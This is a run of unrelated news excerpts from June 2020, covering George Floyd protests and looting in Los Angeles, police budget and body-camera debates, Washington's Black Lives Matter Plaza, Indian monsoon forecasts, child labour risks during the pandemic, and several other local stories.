One of the highlights of last Tuesdays launch was a demonstration video which gives interested persons a visual presentation of the new service.





Information pertaining to online banking at the Cooperative Bank can be accessed on the banks website, the officials noted.








AP

Los Angeles officials have proposed sweeping cuts to the citys annual budget and police department while calling for that money to be invested in marginalized communities after nationwide protests over the death of George Floyd.

Mayor Eric Garcetti announced at a press conference on Wednesday night the city would identify $250 million in cuts so we can invest in jobs, in health, in education and in healing following demands from the Black Lives Matter movement and other activist groups to divest funding from the Los Angeles Police Department.

Those groups called for the city to implement a Peoples Budget that would fund housing and environmental projects, as well as promote opportunities for people of colour, Los Angeles Magazine reported.

In announcing the budgetary cuts, the mayor added: It is time to move our rhetoric towards action to end racism in our city.

The announcement comes after Los Angeles City Council president Nury Martinez proposed cutting up to $150 million from the LAPD and reinvesting those funds into communities of colour.

Ms Martinez explained the proposed cuts in a statement that read in part: If we are going to finally end the sin of racism and all of its illogical, dehumanizing and sometimes deadly consequences, including in our police department, then we have to provide real solutions for real people who need our assistance.

Eileen Decker, president of the citys police commission, confirmed at the press conference on Wednesday that her panel would seek to identify funds that could be divested from the LAPD.

The proposed cuts were seen as a response to days of protests throughout Los Angeles and across the country, with those participating in the marches demanding an end to police brutality and the disproportionate use of excessive force against people of colour.

Prior to the nationwide protests, Mr Garcetti proposed increasing the police departments budget by seven percent. Under the previous budget proposals, the LAPD would receive nearly 54 percent of the citys general fund while other departments faced major cuts.

The mayor said more details would come at a press conference on Thursday night about how the city would reinvest its funding, and that a new Civil and Human Rights Commission would begin meeting next week.
Looters rush out of the Patagonia Store on 4th St. in Los Angeles. (Robert Gauthier / Los Angeles Times)

The young man flanked the shattered entry of a ransacked CVS in Santa Monica, where people had swept the shelves clean of everything from diapers to detergent. The man, who did not cover his face, admitted he was a looter. He did not apologize.

Weve got no other way of showing people how angry we are, he said.

Out of the store ran another young man, this one holding a carton of eggs. He grabbed a friend and started scanning the street for targets: police cars. Were doing it because we can, he said.

Over in Van Nuys, a teenage boy standing outside a ravaged Skechers store held up a backpack. That was all he took. But it was enough, he said.

We are just trying to provide and take up the opportunity that we are getting right now. Thats all.

In the unprecedented reaction to the death of George Floyd at the hands of Minneapolis police officers, peaceful protest marches across Southern California in the last week have already dramatically changed the debate about police brutality and race relations.

But the massive demonstrations have been accompanied by looting in some cities around the Southland. Authorities believe most of the thefts and vandalism came from people not directly connected to the protests who used the teeming crowds as cover to steal merchandise.

Some of the looting appears to be organized, with groups driving around hitting multiple stores. For others, it was an outgrowth over the deep anger and frustration about the way blacks and others are mistreated, and they cited a host of other issues: President Trump, the privilege exposed in the college admissions scandal, and widening inequality.

If Donald Trump is saying shoot us tonight, that is not giving us no leeway," said a teenager holding the stolen Skechers backpack Monday in Van Nuys. "Thats just making things worse. If thats giving permission for the police to shoot children, innocent teenagers, things like that, thats not right.

Times reporters interviewed people of different races and backgrounds who stole from stores over the last few days. The looters, unwilling to risk prosecution, declined to provide their names.

Story continues

Hundreds of stores were hit over a three-day period, in many cases broadcast on live television. The stealing was largely limited to a few business districts including Fairfax, Santa Monica's shopping district, parts of Long Beach, downtown Los Angeles, Van Nuys and Hollywood. Merchants  already reeling from coronavirus closures  were left with battered stores and even more losses. They and others expressed alarm at how the stealing was able to go on so long before police arrived.

Some have argued that too much attention is paid to the looting, which they say distracts from the powerful political movement fueled by Floyd's killing. Yet the images had a larger symbolism.

Part of it is simply an assertion of power. Riots nearly always have a carnival aspect because people who for nearly all their lives have felt under the thumb of other groups suddenly have a sense of power," said Stephen Reicher, who studies crowd psychology at the University of St. Andrews in Scotland.

"People who have been invisible and whose situation has been ignored all their lives suddenly become visible.

::

Some looters have often been strategic, hitting high-end spots such as Nordstrom and the Apple Store at the Grove and the trendy retail strips of Melrose and Fairfax.

Many looters appear to be working in caravans that methodically block off certain streets with their vehicles, which serve as getaway cars for those running off with merchandise.

Those tactics were on display on Sunday in Santa Monica, where teams of young people ransacked some stores completely clean within minutes as protesters marched nearby. Others returned again and again throughout the afternoon to the same stores for more.

Some paused on the street to distribute the goods among themselves or stuff them in backpacks, suitcases or boxes.

"Get my portion! Get my portion!" one man shouted as looters hammered and kicked an ATM at Ye Olde King's Head Gift Shoppe.

The looters, most of them wearing dark colors and bandanas or masks, blended in among crowds already wearing face coverings because of the coronavirus. They seemed to know one another and were fast and coordinated, calling out commands.

"The jewelry store!" one looter screamed, announcing the next destination. At Santa Monica Jewelry and Loan, the sound of gunshots erupted when looters attempted to break in. They fled.

Two security guards could be seen through the broken glass, guns drawn.

Some appeared to be spontaneously joining in, taking what was left of the destroyed businesses.

At a vandalized 7-Eleven, a homeless man approached the store, his jaw dropping in awe of the scene. He walked in and carried out a beverage.

A South Los Angeles man who was tagging along with a group of looters Sunday afternoon said he had been in Santa Monica just to get something to eat. But when he saw the protests forming, he decided to jump in.

The man, who didn't want to share his name for fear of legal repercussions, said looters didn't concern him.

"The real answer is everybody knows this world works for white people. They do anything and get away with it."

He cited the college admissions scandal that has resulted in short prison sentences for wealthy white people. If that had been him, the punishment would have been more severe, he said.

::

The anger at inequality is not uncommon among business owners, many of whom are people of color.

Eddie Perez, 22, whose father owns a smoke shop in Hollywood, felt so strongly after Floyd's killing that he joined protesters at a march on Monday.

But soon after looters ripped apart wooden boards and broke through the glass at the store, destroying it within 45 minutes. The pipes, hookahs, souvenirs, T-shirts and snacks inside couldn't be salvaged, even though some were left behind.

His father, a Guatemalan immigrant who swept floors and did construction work for decades before saving enough money to open the store three years ago, lost $20,000 worth of merchandise.

The family of activists had put a "Justice For George Floyd" sign in the window of the store before it was ransacked.

Im just very angry at the fact that we are a minority-owned business and we stand so much with the movement," Perez said. It destroyed my trust in the world for that day."

Still, Perez said he understood why the looting occurred, even if he doesn't justify it.

People are angry. People are tired. The Rodney King situation happened how long ago and this is still happening?" he said. Its hard, but I comprehend the reasons as to why they broke into all these places.

Some shopkeepers expressed outrage over Floyds slaying, but felt that nothing excuses criminal behavior and that looters should face consequences.

Joe Green, owner of Broadway Wine and Spirits in Santa Monica, said he was lucky that his family-owned store experienced only one broken window. Green fended off looters, aided by his customers and neighbors. When he called the police, he said he was told that no one was coming.

I think there needs to be stiffer penalties. You have to pay for your actions," said Green, noting that businesses have already been struggling because of the pandemic.

"Peaceful protesting is great. But rioting and looting and vandalizing? No. Burning businesses down? Thats not the answer.

AJ Lovelace tries to stop looters from breaking into a Walgreens store at Santa Monica and Highland. "We need peace, and we need someone to talk to each other," he said after the looters fled. (Robert Gauthier / Los Angeles Times)

For 30 uninterrupted minutes Monday night, the looters roamed along the strip of stores just below Sunset on Highland Avenue in Hollywood, breaking into numerous businesses. Many had work gloves, face masks or bandanas wrapped around their heads. Some carried backpacks or trash bags. One woman had blue medical scrubs. Some toted bats.

This account is based on video reviewed by The Times, which showed a chaotic scene at the fringes of the demonstrations nearby. Despite the heavy police presence in the neighborhood, only one police car was seen in the video, apparently responding to another call. Over a half hour, the looters went unchecked.

The crowd spent more than 20 minutes trying to bust open an ATM that was snatched from a smoke shop. Two men were successful in prying loose the safe within the machine, and the smashed remnants littered Highland Avenue long afterward. Meanwhile, a psychics shop and a barber shop went untouched.

The looters were mostly young and male, some of them teenagers and a few of them middle-aged. There were some women in the group, which was mostly black and Latino.

One of the looters was questioned on the spot by a friend of one of the merchants: Why was everyone out looting?

As the camera rolled, the young man  dressed in a hoodie, with a black mask wrapped around the lower half of his face  spoke of long-simmering frustrations, of white people plundering the black community and appropriating their success.

Were tired of being killed," he said. "Were tired of laws being passed while they put drugs and guns in our community. They pass laws to lock us up."

Asked if he was among the demonstrators peacefully protesting earlier in the day, he dismissed the idea.

Protesting peacefully? We did that in the '60s. That didnt get us nowhere.

Times staff writers Melissa Etehad and Jaclyn Cosgrove contributed to this report.
Thundershowers accompanied by lightning and gusty winds will affect various parts of north-west India and the western Himalayan region on Friday and over the weekend, according to the India Meteorological Department (IMD) authorities.

The inclement weather is because of a western disturbance that is affecting the western Himalayas and moisture incursion due to cyclone Nisarga, which hit the Maharashtra coast on Wednesday.

We can expect thundershowers in the Delhi-national capital region (NCR) on Friday and light rain over the weekend. There is no forecast for a heatwave for some time now in Delhi. Maximum temperatures may rise by three to four degrees Celsius after Saturday, but were not expecting a heatwave till June 15, and after that heatwave is unlikely. Delhi may get rains again after June 10 due to the likelihood of a formation of a low-pressure area, said Kuldeep Shrivastava, head, regional weather forecasting centre.

Thunderstorm accompanied with lightning and gusty winds over the north-western region during the next two days and some heavy rainfall is also likely over Uttarakhand, eastern Uttar Pradesh and southern Rajasthan during the next 24 hours, IMD said in its Friday bulletin.

The south-west monsoon has also advanced into the central Arabian Sea, Kerala and Mahe, some parts of Karnataka etc.

Conditions are becoming favourable for its further advancement of south-west monsoon into some more parts of central Arabian Sea, Karnataka, Tamil Nadu, Puducherry, Karaikal, south-west and the east-central Bay of Bengal; the south-east Bay of Bengal and some parts of west-central Bay of Bengal during the next two days, the bulletin added.

There were apprehensions among meteorologists that monsoon advancement could slow down a bit, as its flow is pulled in towards cyclone Nisarga but that is not a cause for concern anymore, scientists said. If Nisarga would have moved north-westwards towards Oman coast, then that would have delayed or stalled the monsoon flow for some time. Nisarga moved close to the coast and as a result, the problem didnt arise. The monsoon current was strengthened and it has reached Karwar in Karnataka on Thursday, said K Sathi Devi, head, National Weather Forecasting Centre.

A fresh low-pressure area is likely to develop over the east-central Bay of Bengal on Monday. We cant say for now what impact itll have and whether itll intensify, added Devi.

Average monsoon rain across the country from June 1 to June 4 has been 24.3 millimetres (mm) compared to normal of 11.6 mm. Central India has received the highest rains in the past four days at 28.4 mm compared to a normal of 7.4 mm.

Widespread rain and thundershowers along the west coast and scattered rainfall activity over Gujarat, interior Maharashtra, Andhra Pradesh, Telangana, interior Karnataka and Tamil Nadu is likely over the next four-five days.

Heavy rainfall is also very likely over Kerala, Konkan and Goa during the next three days and over coastal Karnataka during the next 24 hours.

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President Donald Trump blasted the mayor of Washington, DC as incompetent after a street near the White House was renamed 'Black Lives Matter Plaza' and the slogan was painted on a road leading to 1600 Pennsylvania Avenue.

On Friday, Mayor Muriel Bowser commissioned 'Black Lives Matter' to be painted on the street that leads to the White House ahead of a huge planned demonstration this weekend that could see as many as one million people.

The letters span two blocks of 16th Street, are 35 feet high and take up the width of the two-lane road.

She also renamed a portion of Lafayette Square, the site of Trump's ill-time photo-op as Black Lives Matter Plaza.

This all came as Bowser announced that the Utah National Guard, more than 1,200 troops of 10 states, would be evicted from all DC hotels on Saturday.

'The incompetent Mayor of Washington, DC, @MayorBowser, who's budget is totally out of control and is constantly coming back to us for 'handouts', is now fighting with the National Guard, who saved her from great embarrassment over the last number of nights,' Trump tweeted Friday afternoon.

'If she doesn't treat these men and women well, then we'll bring in a different group of men and women!

A planned demonstration protesting police brutality against black Americans and over the death of George Floyd at the hands of Minneapolis police officers this weekend that could see as many as one million people.

In preparation, the White House has effectively turned itself into a fortress, with seven-to-nine-foot high black fences erected and armed guards and sharpshooters surrounding the perimeter.

SCROLL DOWN FOR VIDEO

DC Mayor Muriel Bowser commissioned a 'Black Lives Matter' mural down 16th Street, which leads to the White House, ahead of a planned weekend protest

The letters span two blocks of 16th Street, are 35 feet high and take up the width of the two-lane road (left and right)

After the announcement that Bowser would be evicting more than 1,200 National Guard troops on Saturday, from DC hotels, President Donald Trump blasted her as 'incompetent' on Twitter

Tall black fences, between seven and nine feet, have sprung up around the perimeter of the White House as protesters have demonstrated over the death of George Floyd. Pictured: The White House during a protest over the death of Floyd, June 4

'It's a sad commentary that the [White] House and its inhabitants have to be walled off,' Bowser told reporters during a press conference on Thursday.

'We should want the White House to be opened up.'

Critics bashed the move, saying the White House, which has always been referred to as the People's House, was suddenly no longer accessible to the American people.

On Tuesday morning, a tall fence was put on the north side of Lafayette Square, along H Street, so no one can enter the park, which is usually open to the public.

This is the place where peaceful demonstrators were teargassed by police to clear a path for Trump to take photos in front of St John's Church.

Trump didn't say anything, but just stood in front of the partially-burned church, later holding up a Bible for the photo-op.

On 17th Street, which borders the Eisenhower Executive Office Buildings, hundreds of feet of wall were erected all the way down, and around Constitution Avenue.

White House officials told The Washington Post that adding more security to the White House perimeter was not Trump's decision, nor was he involved in it.

Critics bashed the moves, saying the White House, which has always been referred to as the People's House, was suddenly no longer accessible to the American people. Pictured: Demonstrators stand behind a fence during a protest against the death of Floyd, in Lafayette Park, DC, June 4

Many compared the new fencing to the wall Trump pledged to build on the US-Mexico land border. Pictured: Demonstrators stand behind a fence as rain pours down during a protest against the death of Floyd in Lafayette Park, June 4

Workers install a security fence at Lafayette Square across from the White House on June 5 as many compare the news measures to a fortress

Lafayette Square (in red) and The Ellipse (in orange), usually accessible the public, are getting new fencing in addition to the regular security perimeter around the White House (in yellow)

However, Trump has frequently referred to himself as a 'law-and-order' president who wants to portray himself as strong and in control.

Supporters of the president see the moves as someone who is quelling protests.

But Trump's critics see this tactics as dictatorial and compared the new fencing to the president's pledge to build a wall along the US-Mexico land border.

'And American taxpayers, not Mexico, will again be sent the bill,' said Senator Patrick Leahy (D-Vermont).

Also closed off by yards of new fencing is the Ellipse, an 52-acre park behind the White House, which features several monuments and is part of President's Park.

The Ellipse is a public space and often referred to as 'the Nation's front yard.'

People walk down 16th Street after volunteers, with permission from the city, painted 'Black Lives Matter' on the street near the White House, June 4

Americans have also been angry after peaceful crowds were cleared with tear gas and rubber bullets so President Trump could have a photo-op outside St John's Church at Lafayette Square on Monday (pictured)

Also closed off by yards of new fencing is the Ellipse, an 52-acre park behind the White House, often referred to as 'the Nation's front yard.' Pictured: A demonstrator is seen behind a fence during a protest near the White House, June 4

DC Mayor Muriel Bowser said she is concerned some of the new fencing may be not just temporary. Pictured: Demonstrators protest near the White House, June 4

This is not the first time security has been beefed up at the White House. After the 1995 Oklahoma City bombings, then-President Bill Clinton closed Pennsylvania Avenue permanently to traffic.

Additionally, in July 2015, then-President Barack Obama approved the use of a removable anti-climb feature made up of sharp metal points on the top of the White House fence after several individuals attempted to get onto the grounds.

Mayor Bowser said she's worried some of the fencing may be permanent.

'I'm also concerned that some of the hardening that they are doing may be not just temporary,' she said on Thursday.

Bowser commissioned a Black Lives Matter mural down a DC street ahead of a planned protest over the weekend.

The work reportedly span two blocks of 16th Street, which leads towards the White House.

According to NBC Washington, the painters were part of a crew hired by the city's Department of Public Works.

Additionally a section of 16th Street, where protestors were teargassed to clear a path for Trump's photo-op has been officially renamed Black Lives Matter Plaza.

'There was a dispute this week about whose street this is,' John Falcicchio, Bowser's chief of staff, said in a tweet.

'Mayor Bowser wanted to make it abundantly clear that this is DC's street and to honor demonstrators who (were) peacefully protesting on Monday evening.'

On Saturday, DC is set to see its largest protest yet. On Twitter, #1MillionDCSaturday was trending, calling for one million people to march to protest police brutality against black Americans.

Later that day, she sent a letter to Trump asking to 'withdraw all extraordinary federal law enforcement and military presence from our city.'

A portion of the street, where Trump had his photo-op, has also been renamed 'Black Lives Matter Plaza' (pictured)

In this image provided by the Executive Office of the Mayor, Bowser stands on the rooftop of the Hay Adams Hotel near the White House and looks out at the words 'Black Lives Matter'

A Black Lives Matter mural is seen on 16th Street near the White House as protests against the death of Floyd continue, June 5

On Thursday, Bowser sent a letter to Trump asking to 'withdraw all extraordinary federal law enforcement and military presence from our city'

Questions and concerns arose as groups of US Army special operations soldiers joined DC's police force in quelling protests. Pictured: Protesters rally in front of the White House, June 4

Deborah Berke, dean of the Yale School of Architecture, told The Washington Post that seeing the White House barricaded didn't project a message of strength.

'I think the need to fortify your house - and it's not his house; it's our house - shows weakness,' she told the newspaper.

'The president of the United States should not feel threatened by his or her own citizens.'

Questions and concerns arose as groups of US Army special operations soldiers joined DC's police force in quelling protests.

'I'm kind of horrified by seeing the junta-looking Guard guys around DC,' retired Army Special Forces Col Robert Wilson told ABC News on Thursday.

'I hate the optics of it.'

Trump has faced criticism from all ranks of the military as he called on troops to defend DC against so-called 'rioters.'

Army General Mark Miley, the chairman of the joint chiefs of staff - the most senior US military officer - wrote in a memo to troops to protect Americans, not attack them, and 'defend the Constitution.'

Former Defense Secretary James Mattis and retired four-star General John Allen both also bashed Trump in Wednesday op-eds for his response to the unrest.

Trump has faced criticism from all ranks of the military as he called on troops to defend DC against so-called 'rioters.' Pictured: A member of the military police hugs a demonstrator, June 4

Former Defense Secretary James Mattis and retired four-star General John Allen both also bashed Trump in Wednesday op-eds for his response to the unrest. Pictured: Demonstrators protest near the White House, June 4

Documents obtained by Yahoo News from the Trump administration have revealed details about the military personnel that have been meeting protestors in the streets of DC.

The June 4 report, from the Department of Homeland Security, show the services making up the 1,300-man force including members of the US Secret Service, the US National Guard, Customs and Border Protection and US Park Police.

Yesterday, as of noon, DHS had 770 personnel in Washington to respond to demonstrations, including agents from ICE, TSA, CBP, Federal Air Marshals and the Federal Protective Service.

Also including in the deployment were sniper-trained units, includings Border Patrol's elite tactical unit, also known as BORTAC, reported Yahoo.

However, it wasn't just manpower sent to DC and other cities. Helicopters, drones and other surveillance tools were also sent down.
Martin Obono, a human rights lawyer, has been arrested by the police in the federal capital territory (FCT) for allegedly criticising th...

Martin Obono, a human rights lawyer, has been arrested by the police in the federal capital territory (FCT) for allegedly criticising them.





Obono was arrested on Friday and he is being held at a police station in Zone 3, in the Wuse district of the capital city.





The lawyers arrest is connected to a rape case he is handling, which he had tweeted about.





Confirming his arrest, Ndi Kato, a gender advocate, said she is at the police station and that efforts are being made to get him out of custody.

We are here at the police station, We are with SP operations, she said.





On Tuesday, the lawyer tweeted about the case.





Five days ago, my clients reported a rape case. The suspect used police to turned the case on its head and got the ladies detained the girls in same cell with men. I was livid. It didnt end there, they asked them to bring a level 14 civil servant, C of O to surety their bail, he had tweeted.





I managed to get them out without those stringent bail conditions. You now see why women dont come out?
By Bill Hughes Jun. 04, 2020 | 05:02 PM | MURRAY

The September double-murder trial of a Calloway County man has been delayed.Commonwealth's Attorney Dennis Foust says Special Judge Tim Kaltenbach granted a motion for a continuance in the case by Shannon Scott's defense attorney Doug Moore during a video conference. Foust said Moore had been busy preparing for another high-profile case.Foust said, "Defense counsel was also involved in the Marshall County School shooting case, and that, coupled with COVID, was going to make it difficult for him to be ready to go to trial, and defense counsel moved for a continuance and we weren't really objecting to it."The trial of Gabriel Parker would have started June 1 in Christian County, but he pleaded guilty to two counts of murder and fourteen counts of assault on April 28.Scott is accused of killing 37-year-old Tera Todd, 77-year-old Evelyn Scott and her dog at Todds home in Murray on Feb. 7, 2019. In addition to murder and tampering with physical evidence, Scott is charged with second degree cruelty to animals, first degree burglary, and theft.A pre-trial conference has been scheduled for June 30."At that time, basically, we anticipate that the judge will give a new trial date," Foust said.Kaltenbach was appointed to handle this case after Calloway Circuit Judge Jamie Jameson recused himself. He said there was a conflict of interest.

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The Covid-19 lockdown could put vulnerable children, who have been 'on the move' with their families and watched the suffering unfold first hand, under extreme psychological pressure, expose them to crime and abuse, and make them vulnerable to trafficking, says Priti Mahara, director of policy research and advocacy at CRY  Child Rights and You. In this interview with News18, she says that financial pressure due to the lockdown, together with relaxations made to labour laws, is likely to push children into bonded labour. Excerpts:

To begin with, how serious do you think is the threat of a huge number of children being pushed into doing manual labour because of the economic depression?

A: The Economic Survey Report 2019-20 shows that nearly 80% of the workforce in India comes from the unorganised sector with limited access to social security measures and employment benefits. The Covid-19 pandemic has negatively impacted an already struggling Indian economy.

This has translated to economic insecurity in households either due to death of earning members, loss of work and wages, or reduced employment opportunities especially for vulnerable communities. Thus, there are strong chances of children entering into manual or unskilled labour to compensate for the economic loss and/or to supplement their family's income.

Childrens demand in manual work in the agriculture sector and home-based enterprise and small-scale business might increase rapidly in the coming days. Recently, due to Covid-19, several states in India (including those with high prevalence of child and adolescent labour) have made relaxations to their labour laws.

Even though labour laws for children and women remain unchanged, the spillover effect of adult workers is likely to have a negative impact, especially for adolescent workers. Children are always considered as cheap labour hence vastly preferred and employed by the labour market and employers.

In the absence of availability of adult labourers in urban areas, the demand for employing children especially adolescents may rise in the coming days, many of whom are forced to work for long hours, in hazardous and often abusive environments, for little or no pay, and often far from home. The loss of livelihood may force the families and children into bonded labour.

The closure of schools only exacerbates the risk of increase in working children, since drop-out children will either be directly supporting their families, or caught in trafficking, begging, debt bondage and other indecent and exploitative work conditions.

Would you have any estimates of the number or percentage increase of children that could get pushed into physical labour in the coming months? What are the numbers like right now?

A: According to Census 2011, the total number of child labourers in India between 5-14 years is 4.35 million (main workers) and 5.76 million (marginal workers), which comes to a total of 10.11 million.

Furthermore, the total number of adolescent labourers in India is 22.87 million, bringing the total (5-18 years) to around 33 million. 62% of child labourers in the age group of 5-14 years are concentrated in agriculture, forestry and fishing, closely followed by industries and services.

The impact of the Covid-19 pandemic on the economy is yet to completely unfold, hence it is difficult to estimate the magnitude of change in these numbers. However, there might be a sharp rise in numbers across all age groups and occupations unless immediate and sustained efforts are made to protect the rights of children.

What are the ways in which you think governments, both at the Centre and in the states, can intervene before the situation deteriorates further?

A: The government at the Centre as well as in the states need to make concerted efforts to improve the public health system along with strengthening social security, education and child protection mechanisms. Addressing health conditions of adults would enable them to work without compromising household security. Additionally, social security schemes such as provision of pensions, ration through the public distribution system, extending livelihood and employment opportunities, unemployment allowance/support and other anti-poverty measures would help families sustain themselves.

In addition, ensuring continuation of education for all children, especially the ones from marginalised households would be critical at this juncture. While efforts have been made to continue education for children through remote teaching options such as online classes, radio, television etc, most children from poor families do not have access to these mediums. It is essential that investments are made so that these families are given incentives to buy/access these media for remote learning.

These children are at a high risk of dropping out of education, and the community-level child protection mechanisms including the village child protection committees, along with Panchayati Raj institutions, school management committees must track every child in their villages and ensure their safety, especially from trafficking, marriage and forced labour. Stringent enforcement of the child labour law, the Integrated Child Protection Services Scheme is critical to safeguard children from the impact of Covid-19, including the fallouts of the economic slowdown. The government should also open special training centres with bridge classes in keeping with social distancing and other norms to help children make up for the academic loss.

Have you received any feedback from the ground about the situation of vulnerable children during the past two months of lockdown? What are their main worries right now? What sort of risks are they exposed to?

A: During this lockdown period of two months, feedback from CRYs intervention areas brought to fore several issues that children are grappling with, especially the closure of schools. Not every vulnerable child has access to the internet and mobile phones, etc, hence they are not able to receive online classes. Schools and anganwadi centres are not only platforms for imparting education but also the hubs of delivering mid-day meals and other many social protection schemes to children and their families. With the closure of these facilities, children are not getting education, nutrition, immunisation, etc.

Besides access to education, there are many other challenges that children are facing in vulnerable pockets. Adolescent girls highlighted, for instance, that due to lockdown access to sanitary pads has been a challenge. Besides the unavailability of menstrual products in the shops, they are finding it difficult to share or ask family members to source the products due to menstrual stigma.

Children on the move are currently deprived of immunisation, basic health and education needs. They are living in an environment where they are watching their family suffer, which may lead to deeper insecurities and extreme psychological pressure. All these children are at even higher risk of physical, emotional and sexual abuse. At a later stage, they are likely to be vulnerable to trafficking.

Children's education would also gravely be at stake, exposing them to crime and other abuses besides leaving them homeless. The traumatic experiences due to the crisis may affect their learning outcome and to an extent that they are likely to affect their retention in school.
Few would disagree with the statement that theatres are in serious, serious jeopardy. Since all closed their doors in mid-March, staff have been furloughed, reserves have begun to dry up and some have warned of imminent and permanent closure.

Multi-award-winning director Sam Mendes (1917, Skyfall, The Lehman Trilogy), who ran the Donmar Warehouse for 12 years, has laid out a series of initiatives that could help alleviate the ongoing issues in a new and comprehensive article in the Financial Times.

Within the article, WhatsOnStage Award recipient Mendes presents "a recipe for a rescue package" for a "giant economic growth engine". He calls on streaming giants such as Netflix and Amazon to help beleaguered venues during this time, stating that: "It would be deeply ironic if the streaming services  Netflix, Amazon Prime et al  should be making lockdown millions from our finest acting, producing, writing and directing talent, while the very arts culture that nurtured that talent pool is allowed to die.

"Is there anyone among those people willing to use a fraction of their Covid-19 windfall to help those who have been mortally wounded?"

It's an important call to make  especially when Amazon-owned Audible has already made strides into the performing arts on both sides of the Atlantic.

Any money going into the arts from either private business or government, Mendes has said, would be a keen investment rather than simply an act of benevolence. "This is not a request for a handout, or for long-term life support. It is an offer for the government to become partners in a successful business.".

Mendes has also said that private individuals or the government should be able to invest in commercial productions and offset any losses against profits (at the moment this is not possible given tax legislation). An increase in the tax relief rate from 20 to 50 per cent for the next three years would also be vital.

The industry could thrive through the creation of a "Cultural Investment Participation Scheme", whereby the government could share in the profits of successful shows, once they have earned back costs, which could provide "a rich and continuous stream" of income.

He also calls for an extension to the ongoing furlough scheme and a package to help self-employed artists and freelancers unable to work, so that the theatre ecosystem still exists when theatres reopen.
One Step Closer

Other Cities with Body Cameras

Policy

(TNS)  On a day when calls for him to resign were mounting, Kansas City, Mo., Police Chief Rick Smith stood in the middle of a crowd, picked up a bullhorn and announced that the police department had secured money for body cameras.But a day later, a number of questions remained about ongoing public funding for the cameras, equipment upgrades, storage expenses. Issues of policy and public records also have not been answered.The funding Smith announced came in the form of a $1 million donation from a private donor, the DeBruce Foundation, along with another $1.5 million from other community partners.We have been listening to the communitys call for change, Smith told the crowd Wednesday. The donated money would likely be used to equip roughly 700 officers assigned to each of the departments six patrol divisions. Another portion of the money could be used to create the database to store the video footage.Community leaders have been calling for the body cameras for years, and the announcement Wednesday came after days of protest at the Country Club Plaza. Those demonstrations came amid others across the U.S. inspired by the killing of George Floyd, a black man, by a white police officer in Minnesota.But Kansas City protesters have raised their own complaints about local police.On Wednesday, a coalition of Kansas City civil rights groups called for Smiths resignation. The group, which consisted of the Urban League of Greater Kansas City, the NAACPs Kansas City branch, and More2 cited a lack of confidence in Smiths handling of fatal police shootings of African American men, and allegations of excessive use of force by the department.Smith has said that he has no plans to resign.One of the civil rights leaders said getting body cameras for officers is a good step, but nothing about their call for Smith to resign has changed.We stand firm in our belief that change in leadership is in the best interest of our community and it is necessary to achieve structural reform within the Kansas City Police Department, said Gwen Grant, the Kansas City Urban Leagues president and CEO.Grant said the department should implement policies and protocols governing when officers are permitted to turn off their body cameras. She noted that two police officers in Atlanta were fired after they turned off their body cameras before they arrested a pair of college students who they claimed violated the citywide curfew.Access to body camera footage must be made readily available upon request to investigate allegations of police excessive use of force and in police shootings, she said.Police have said they support body cameras because it will increase officer safety and improve accountability.In 2016, the Police Department conducted a 90-day study in which it equipped 25 officers with body cameras. The test helped police officials determine how they would store footage from the cameras and whether equipment upgrades would be needed.During that pilot program, the department had an average of 147 video recordings that used roughly 82,000 megabytes of data recorded each day.The following year, police brass estimated the initial cost to equip hundreds of officers with body cameras came to about $6 million. The price tag then included start-up costs, equipment upgrades, storage expenses and hiring additional workers who would be tasked with responding to open records requests.Two years later, police took a step toward equipping officers with body-worn cameras when it began accepting bids to buy them. No action has been taken since then as police officials said they continued to grapple with video privacy and storage issues.Additional money to cover the recurring costs for maintenance, storage and hiring additional staff to manage public records requests has not been identified.We dont have planned out yet, we just found out we have the funding, said police spokesman Sgt. Jacob Becchina. Increased accountability benefits the community and the department.Becchina said little has changed since the earlier cost estimates were made.We have procured some of the platform that made up the $6 million when we replaced our in-car system; that cost estimate was for storage and body cams; together, some of the storage has already been bought, leaving behind the $2.5 million number, he said.During a news conference Thursday at City Hall, Mayor Quinton Lucas said he did not yet know when the body camera program would be rolled out.The city auditor would conduct an audit of the body camera system within three months of the start date of the program and present it to the City Council, Lucas said.That will be to ensure that we are adequately using them, not just saying that we have them, he said.Lucas said he believed all of us should have pushed harder for the city to get the funding for the cameras sooner. He called the cameras a helpful tool, but not the sole answer to fixing policing issues.It alone wont change everything we see, he said.Overland Park police issued body cameras to their 254 officers and investigators in November 2019. The effort to secure funding for the body cameras began the previous year in 2018.Police officials reviewed various body camera models and data storage options before making their funding request to the Overland Park City Council, said police spokesman Officer John Lacy.Once funding was secured, officers received training on how to operate the cameras and department policy for their use. It took several months before their officers were outfitted with the equipment.Complaints from citizens who say they were mistreated by police officers have gone down, he said.Overland Park police use body cameras from WatchGuard, which syncs with the dash cameras so that whenever an officer activates their emergency lights and sirens their dash camera and body camera will automatically turn on, Lacy said.We love them. It gives us more transparency. You get to see what we see, Lacy said. The only person who would not want this is a bad cop or a crooked cop.Kansas City Councilman Brandon Ellington said body cameras would help with documentation. But he was also unsure of their ability to deter bad behavior among police officers.Video cameras dont stop bad actors, Ellington said.He noted that the deaths of George Floyd in Minnesota and Eric Gardner in New York were captured on video.Thats when the accountability piece would come in, he said. What happens when the cameras go off or what happens when they malfunction?Allen Rostron, a professor of constitutional law at the University of Missouri-Kansas City, said body cameras are valuable.They can deter a police officer from doing something improper, and they can be used to prove wrongdoing if something improper occurs. But they can also help to protect police against unfounded accusations of wrongdoing, Rostron said.The law says the recordings are closed records until the investigation becomes inactive. Someone could go to court and seek a ruling that the recording should be disclosed, and they would need to convince the judge that the benefit of releasing the video outweighs the reasons not to disclose it, he said.Once an investigation becomes inactive, recordings made in that investigation become open records that anyone could obtain.Many police agencies use third-party or outside companies to store body camera video.This can create concerns about privacy and public access to open records, said Jean Maneke, attorney for the Missouri Press Association.Private companies that store body camera footage may not be subject to Missouri public records laws. Those companies may not be required to release the video footage as if they were a public body such as a police department.How is it categorized as being a public record if it is not in the hands of the police department? Maneke said.Video captured inside of a private residence is not accessible to the public and there needs to be the ability to keep that information confidential, Maneke said.Other policy questions concern video of juveniles and public access to that footage.Some companies that sell storage space have made offers to law enforcement agencies to provide cameras free of charge if the company is allowed to store the content.It is going to be real interesting to watch this develop in Kansas City as all of these problems suddenly become things they have to deal with on a daily basis, she said.
Alabamas attorney general has brought legal action against Birmingham mayor Randall Woolfin after he dismantled a confederate monument in the states largest city amid protests against institutionalised racism and police brutality across the US.

State Attorney General Steve Marshall announced on Tuesday that he had filed a new lawsuit against Birmingham over the mayors decision on Sunday night to topple the confederate monument.

Mr Marshall warned that the monument's removal from Linn Park "would violate the law and that I would fulfill my duty to enforce it."

The states memorial preservation law, passed in 2017, states that the attorney general must enforce penalties against all violations that would damage monuments, memorials and other historic structures.

